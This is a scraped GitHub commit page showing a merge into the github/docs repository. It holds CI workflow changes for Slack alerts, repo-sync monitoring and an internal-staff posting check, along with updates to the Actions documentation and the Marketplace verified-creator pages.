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Skip to content github / docs Code Issues 80 Pull requests 35 Discussions Actions Projects 2 Security Insights Merge branch 'main' into 1862-Add-Travis-CI-migration-table 1862-Add-Travis-CI-migration-table (#1869, Iixixi/ZachryTylerWood#102, THEBOLCK79/docs#1, sbnbhk/docs#1) @martin389 martin389 committed on Dec 9, 2020 2 parents 2f9ec0c + 1588f50 commit 1a56ed136914e522f3a23ecc2be1c49f479a1a6a Showing 501 changed files with 5,397 additions and 1,362 deletions. 2 .github/allowed-actions.js @@ -30,7 +30,7 @@ module.exports = [ 'rachmari/labeler@832d42ec5523f3c6d46e8168de71cd54363e3e2e', 'repo-sync/github-sync@3832fe8e2be32372e1b3970bbae8e7079edeec88', 'repo-sync/pull-request@33777245b1aace1a58c87a29c90321aa7a74bd7d', 'rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815', 'someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd', 'tjenkinson/gh-action-auto-merge-dependency-updates@cee2ac0', 'EndBug/add-and-commit@9358097a71ad9fb9e2f9624c6098c89193d83575' ] 72 .github/workflows/confirm-internal-staff-work-in-docs.yml @@ -0,0 +1,72 @@ name: Confirm internal staff meant to post in public on: issues: types: - opened - reopened - transferred pull_request_target: types: - opened - reopened jobs: check-team-membership: runs-on: ubuntu-latest continue-on-error: true if: github.repository == 'github/docs' steps: - uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | // Only perform this action with GitHub employees try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'employees', username: context.payload.sender.login, }); } catch(err) { // An error will be thrown if the user is not a GitHub employee // If a user is not a GitHub employee, we should stop here and // Not send a notification return } // Don't perform this action with Docs team members try { await github.teams.getMembershipForUserInOrg({ org: 'github', team_slug: 'docs', username: context.payload.sender.login, }); // If the user is a Docs team member, we should stop here and not send // a notification return } catch(err) { // An error will be thrown if the user is not a Docs team member // If a user is not a Docs team member we should continue and send // the notification } const issueNo = context.number || context.issue.number // Create an issue in our private repo await github.issues.create({ owner: 'github', repo: 'docs-internal', title: `@${context.payload.sender.login} confirm that \#${issueNo} should be in the public github/docs repo`, body: `@${context.payload.sender.login} opened https://github.com/github/docs/issues/${issueNo} publicly in the github/docs repo, instead of the private github/docs-internal repo.\n\n@${context.payload.sender.login}, please confirm that this belongs in the public repo and that no sensitive information was disclosed by commenting below and closing the issue.\n\nIf this was not intentional and sensitive information was shared, please delete https://github.com/github/docs/issues/${issueNo} and notify us in the \#docs-open-source channel.\n\nThanks! \n\n/cc @github/docs @github/docs-engineering` }); throw new Error('A Hubber opened an issue on the public github/docs repo'); - name: Send Slack notification if a GitHub employee who isn't on the docs team opens an issue in public if: ${{ failure() && github.repository == 'github/docs' }} uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd with: channel: ${{ secrets.DOCS_OPEN_SOURCE_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} text: <@${{github.actor}}> opened https://github.com/github/docs/issues/${{ github.event.number || github.event.issue.number }} publicly on the github/docs repo instead of the private github/docs-internal repo. They have been notified via a new issue in the github/docs-internal repo to confirm this was intentional. 15 .github/workflows/js-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.js", "package*.json", ".github/workflows/js-lint.yml", ".eslint*"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 13 .github/workflows/repo-freeze-reminders.yml @@ -14,11 +14,10 @@ jobs: if: github.repository == 'github/docs-internal' steps: - name: Send Slack notification if repo is frozen uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: ${{ env.FREEZE == 'true' }} uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':freezing_face:' SLACK_COLOR: '#51A0D5' # Carolina Blue SLACK_MESSAGE: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: info text: All repo-sync runs will fail for ${{ github.repository }} because the repo is currently frozen! 54 .github/workflows/repo-sync-stalls.yml @@ -0,0 +1,54 @@ name: Repo Sync Stalls on: workflow_dispatch: schedule: - cron: '*/30 * * * *' jobs: check-freezer: name: Check for deployment freezes runs-on: ubuntu-latest steps: - name: Exit if repo is frozen if: ${{ env.FREEZE == 'true' }} run: | echo 'The repo is currently frozen! Exiting this workflow.' exit 1 # prevents further steps from running repo-sync-stalls: runs-on: ubuntu-latest steps: - name: Check if repo sync is stalled uses: actions/github-script@626af12fe9a53dc2972b48385e7fe7dec79145c9 with: github-token: ${{ secrets.DOCUBOT_FR_PROJECT_BOARD_WORKFLOWS_REPO_ORG_READ_SCOPES }} script: | let pulls; const owner = context.repo.owner const repo = context.repo.repo try { pulls = await github.pulls.list({ owner: owner, repo: repo, head: `${owner}:repo-sync`, state: 'open' }); } catch(err) { throw err return } pulls.data.forEach(pr => { const timeDelta = Date.now() - Date.parse(pr.created_at); const minutesOpen = timeDelta / 1000 / 60; if (minutesOpen > 30) { core.setFailed('Repo sync appears to be stalled') } }) - name: Send Slack notification if workflow fails uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: Repo sync appears to be stalled for ${{github.repository}}. See https://github.com/${{github.repository}}/pulls?q=is%3Apr+is%3Aopen+repo+sync 16 .github/workflows/repo-sync.yml @@ -7,6 +7,7 @@ name: Repo Sync on: workflow_dispatch: schedule: - cron: '*/15 * * * *' # every 15 minutes @@ -70,11 +71,10 @@ jobs: number: ${{ steps.find-pull-request.outputs.number }} - name: Send Slack notification if workflow fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 if: ${{ failure() }} env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_USERNAME: docs-repo-sync SLACK_ICON_EMOJI: ':ohno:' SLACK_COLOR: '#B90E0A' # Crimson SLACK_MESSAGE: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last repo-sync run for ${{github.repository}} failed. See https://github.com/${{github.repository}}/actions?query=workflow%3A%22Repo+Sync%22 10 .github/workflows/sync-algolia-search-indices.yml @@ -33,8 +33,10 @@ jobs: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} run: npm run sync-search - name: Send slack notification if workflow run fails uses: rtCamp/action-slack-notify@e17352feaf9aee300bf0ebc1dfbf467d80438815 uses: someimportantcompany/github-actions-slack-message@0b470c14b39da4260ed9e3f9a4f1298a74ccdefd if: failure() env: SLACK_WEBHOOK: ${{ secrets.DOCS_ALERTS_SLACK_WEBHOOK }} SLACK_MESSAGE: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` with: channel: ${{ secrets.DOCS_ALERTS_SLACK_CHANNEL_ID }} bot-token: ${{ secrets.SLACK_DOCS_BOT_TOKEN }} color: failure text: The last Algolia workflow run for ${{github.repository}} failed. Search actions for `workflow:Algolia` 15 .github/workflows/yml-lint.yml @@ -10,23 +10,8 @@ on: - translations jobs: see_if_should_skip: runs-on: ubuntu-latest outputs: should_skip: ${{ steps.skip_check.outputs.should_skip }} steps: - id: skip_check uses: fkirc/skip-duplicate-actions@36feb0d8d062137530c2e00bd278d138fe191289 with: cancel_others: 'false' github_token: ${{ github.token }} paths: '["**/*.yml", "**/*.yaml", "package*.json", ".github/workflows/yml-lint.yml"]' lint: runs-on: ubuntu-latest needs: see_if_should_skip if: ${{ needs.see_if_should_skip.outputs.should_skip != 'true' }} steps: - name: Check out repo uses: actions/checkout@5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f 4 README.md @@ -28,7 +28,7 @@ If you've found a problem, you can open an issue using a [template](https://gith #### Solve an issue If you have a solution to one of the open issues, you will need to fork the repository and submit a PR using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). If you have a solution to one of the open issues, you will need to fork the repository and submit a pull request using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). #### Join us in discussions @@ -50,6 +50,8 @@ There are a few more things to know when you're getting started with this repo: In addition to the README you're reading right now, this repo includes other READMEs that describe the purpose of each subdirectory in more detail: - [content/README.md](content/README.md) - [content/graphql/README.md](content/graphql/README.md) - [content/rest/README.md](content/rest/README.md) - [contributing/README.md](contributing/README.md) - [data/README.md](data/README.md) - [data/reusables/README.md](data/reusables/README.md) BIN +164 KB assets/images/help/classroom/assignment-group-hero.png Binary file not shown. BIN +75.5 KB assets/images/help/classroom/assignment-ide-go-grant-access-button.png Binary file not shown. BIN +175 KB assets/images/help/classroom/assignment-individual-hero.png Binary file not shown. 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You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 6 content/actions/creating-actions/creating-a-javascript-action.md @@ -261,9 +261,11 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% elsif currentVersion ver_gt "enterprise-server@2.22" %}  {% else %}  4 content/actions/guides/about-packaging-with-github-actions.md @@ -25,7 +25,11 @@ Creating a package at the end of a continuous integration workflow can help duri Now, when reviewing a pull request, you'll be able to look at the workflow run and download the artifact that was produced. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} This will let you run the code in the pull request on your machine, which can help with debugging or testing the pull request. 4 content/actions/guides/building-and-testing-powershell.md @@ -60,7 +60,11 @@ jobs: * `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory. * `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example: {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} * `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following: ``` 7 content/actions/guides/storing-workflow-data-as-artifacts.md @@ -108,8 +108,6 @@ jobs: path: output/test/code-coverage.html ```  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Configuring a custom artifact retention period @@ -238,7 +236,12 @@ jobs: echo The result is $value ``` The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" %} 8 content/actions/index.md @@ -68,18 +68,18 @@ versions: <h2 class="mb-2 font-mktg h1">Code examples</h2> <div class="pr-lg-3 mb-5 mt-3"> <input class="js-code-example-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> <input class="js-filter-card-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> </div> <div class="d-flex flex-wrap gutter"> {% render 'code-example-card' for actionsCodeExamples as example %} </div> <button class="js-code-example-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <div class="js-code-example-no-results d-none py-4 text-center text-gray font-mktg"> <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-code-example-filter-value"></strong></h3> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/action_code_examples.yml">Learn how to add a code example {% octicon "arrow-right" %}</a> </div> 11 content/actions/learn-github-actions/introduction-to-github-actions.md @@ -204,7 +204,7 @@ In this diagram, you can see the workflow file you just created and how the {% d ### Viewing the job's activity Once your job has started running, you can view each step's activity on {% data variables.product.prodname_dotcom %}. Once your job has started running, you can {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. @@ -213,7 +213,14 @@ Once your job has started running, you can view each step's activity on {% data  1. Under "Workflow runs", click the name of the run you want to see.  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the job you want to see.  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. View the results of each step.  {% elsif currentVersion ver_gt "enterprise-server@2.22" %} 1. Click on the job name to see the results of each step.  {% else %} 7 content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -17,9 +17,14 @@ versions: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.  1. In the upper-right corner of the workflow, click **Cancel workflow**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} ### Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run 4 content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -20,4 +20,8 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click the artifact you want to download. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 1 content/actions/managing-workflow-runs/index.md @@ -18,6 +18,7 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% link_in_list /using-the-visualization-graph %}{% endif %} {% link_in_list /viewing-workflow-run-history %} {% link_in_list /using-workflow-run-logs %} {% link_in_list /manually-running-a-workflow %} 3 content/actions/managing-workflow-runs/re-running-a-workflow.md @@ -16,5 +16,4 @@ versions: {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.  1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% else %}{% endif %} 4 content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -27,7 +27,11 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click {% octicon "trashcan" aria-label="The trashcan icon" %} next to the artifact you want to remove. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Setting the retention period for an artifact 23 content/actions/managing-workflow-runs/using-the-visualization-graph.md @@ -0,0 +1,23 @@ --- title: Using the visualization graph intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. product: '{% data reusables.gated-features.actions %}' versions: free-pro-team: '*' enterprise-server: '>=3.1' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.visualization-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.  2. Click on a job to view the job log.  18 content/actions/managing-workflow-runs/using-workflow-run-logs.md @@ -45,7 +45,11 @@ You can search the build logs for a particular step. When you search logs, only {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. To expand each step you want to include in your search, click the step.  @@ -63,8 +67,12 @@ You can download the log files from your workflow run. You can also download a w {% data reusables.repositories.view-run-superlinter %} {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. 1. In the upper right corner, click {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**.  @@ -80,9 +88,17 @@ You can delete the log files from your workflow run. {% data reusables.repositor {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run. {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. 2 content/actions/managing-workflow-runs/viewing-job-execution-time.md @@ -15,7 +15,7 @@ Billable job execution minutes are only shown for jobs run on private repositori {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under the job summary, you can view the job's execution time. To view the billable job execution time, click **Run and billable time details**. 1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.  {% note %} 5 content/actions/quickstart.md @@ -60,8 +60,13 @@ Committing the workflow file in your repository triggers the `push` event and ru {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow-superlinter %} {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the **Lint code base** job.  {% else %} 1. In the left sidebar, click the **Lint code base** job.  {% endif %} {% data reusables.repositories.view-failed-job-results-superlinter %} ### More starter workflows 49 content/developers/github-marketplace/about-github-marketplace.md @@ -1,6 +1,6 @@ --- title: About GitHub Marketplace intro: 'Learn the basics to prepare your app for review before joining {% data variables.product.prodname_marketplace %}.' intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -14,52 +14,41 @@ versions: {% data reusables.actions.actions-not-verified %} To learn about publishing {% data variables.product.prodname_actions %} in the {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." ### Apps You can list verified and unverified apps in {% data variables.product.prodname_marketplace %}. Unverified apps do not go through the security, testing, and verification cycle {% data variables.product.prodname_dotcom %} requires for verified apps. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only listings that are verified by {% data variables.product.company_short %} can include paid plans. For more information, see "[About verified creators](/developers/github-marketplace/about-verified-creators)." Verified apps have a green badge in {% data variables.product.prodname_marketplace %}. Unverified apps have a grey badge next to their listing and are only available as free apps. If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_app %}s, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_app %}s](/developers/apps/building-oauth-apps)."  If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s, see "[Building apps](/apps/)." {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. See "[Differences between GitHub and OAuth apps](/apps/differences-between-apps/)" for more details. To learn more about switching from OAuth to {% data variables.product.prodname_github_apps %}, see [Migrating OAuth Apps to {% data variables.product.prodname_github_app %}s](/apps/migrating-oauth-apps-to-github-apps/). {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_app %}s to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. #### Unverified Apps Unverified apps do not need to meet the "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)" or go through the "[Security review process](/marketplace/getting-started/security-review-process/)". {% data reusables.marketplace.unverified-apps %} Having a published paid plan will prevent you from being able to submit an unverified app. You must remove paid plans or keep them in draft mode before publishing an unverified app. To list your unverified app in {% data variables.product.prodname_marketplace %}, you only need to create a "[Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/)" and submit it as an unverified listing. {% data reusables.marketplace.launch-with-free %} ### Publishing an app to {% data variables.product.prodname_marketplace %} #### Verified Apps When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: If you've already built an app and you're interested in submitting a verified listing in {% data variables.product.prodname_marketplace %}, start here: 1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." 1. [Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)<br/>Learn about requirements, guidelines, and the app submission process. 1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." 1. [Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)<br/>Before you can list your app on {% data variables.product.prodname_marketplace %}, you'll need to integrate billing flows using the {% data variables.product.prodname_marketplace %} API and webhook events. 1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." 1. [Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/) <br/>Create a draft {% data variables.product.prodname_marketplace %} listing, configure webhook settings, and set up pricing plans. 1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." 1. [Selling your app](/marketplace/selling-your-app/)<br/>Learn about pricing plans, billing cycles, and how to receive payment from {% data variables.product.prodname_dotcom %} for your app. 1. Check whether your app meets the requirements for listing on {% data variables.product.prodname_marketplace %} as a free or a paid app. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." 1. [{% data variables.product.prodname_marketplace %} Insights](/marketplace/github-marketplace-insights/)<br/>See how your app is performing in {% data variables.product.prodname_marketplace %}. You can use metrics collected by {% data variables.product.prodname_dotcom %} to guide your marketing campaign and be successful in {% data variables.product.prodname_marketplace %}. 1. Read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/articles/github-marketplace-developer-agreement/)." 1. [{% data variables.product.prodname_marketplace %} transactions](/marketplace/github-marketplace-transactions/)<br/>Download and view transaction data for your {% data variables.product.prodname_marketplace %} listing. 1. Submit your listing for publication in {% data variables.product.prodname_marketplace %}, requesting verification if you want to sell the app. For more information, see "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication)." ### Reviewing your app An onboarding expert will contact you with any questions or further steps. For example, if you have added a paid plan, you will need to complete the verification process and complete financial onboarding. As soon as your listing is approved the app is published to {% data variables.product.prodname_marketplace %}. We want to make sure that the apps offered on {% data variables.product.prodname_marketplace %} are safe, secure, and well tested. The {% data variables.product.prodname_marketplace %} onboarding specialists will review your app to ensure that it meets all requirements. Follow the guidelines in these articles before submitting your app: ### Seeing how your app is performing You can access metrics and transactions for your listing. For more information, see: * [Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/) * [Security review process](/marketplace/getting-started/security-review-process/) - "[Viewing metrics for your listing](/developers/github-marketplace/viewing-metrics-for-your-listing)" - "[Viewing transactions for your listing](/developers/github-marketplace/viewing-transactions-for-your-listing)" 43 content/developers/github-marketplace/about-verified-creators.md @@ -0,0 +1,43 @@ --- title: About verified creators intro: 'Each organization that wants to sell apps on {% data variables.product.prodname_marketplace %} must follow a verification process. Their identity is checked and their billing process reviewed.' versions: free-pro-team: '*' --- ### About verified creators A verified creator is an organization that {% data variables.product.company_short %} has checked. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only organizations that are verified by {% data variables.product.company_short %} can sell apps. For more information about organizations, see "[About organizations](/github/setting-up-and-managing-organizations-and-teams/about-organizations)." The verification process aims to protect users. For example, it verifies the seller's identity, checks that their {% data variables.product.product_name %} organization is set up securely, and that they can be contacted for support. After passing the verification checks, any apps that the organization lists on {% data variables.product.prodname_marketplace %} are shown with a verified creator badge {% octicon "verified" aria-label="Verified creator badge" %}. The organization can now add paid plans to any of their apps. Each app with a paid plan also goes through a financial onboarding process to check that it's set up to handle billing correctly.  In addition to the verified creator badge, you'll also see badges for unverified and verified apps. These apps were published using the old method for verifying individual apps.  For information on finding apps to use, see "[Searching {% data variables.product.prodname_marketplace %}](/github/searching-for-information-on-github/searching-github-marketplace)." ### About the verification process The first time you request verification for a listing of one of your apps, you will enter the verification process. An onboarding expert will guide you through the process. This includes checking: - Profile information - The basic profile information is populated accurately and appropriately. - Security - The organization has enabled two-factor authentication. - Verified domain - The organization has verified the domain of the site URL. - Purchase webhook event - The event is handled correctly by the app. When your organization is verified, all your apps are shown with a verified creator badge. You are now able to offer 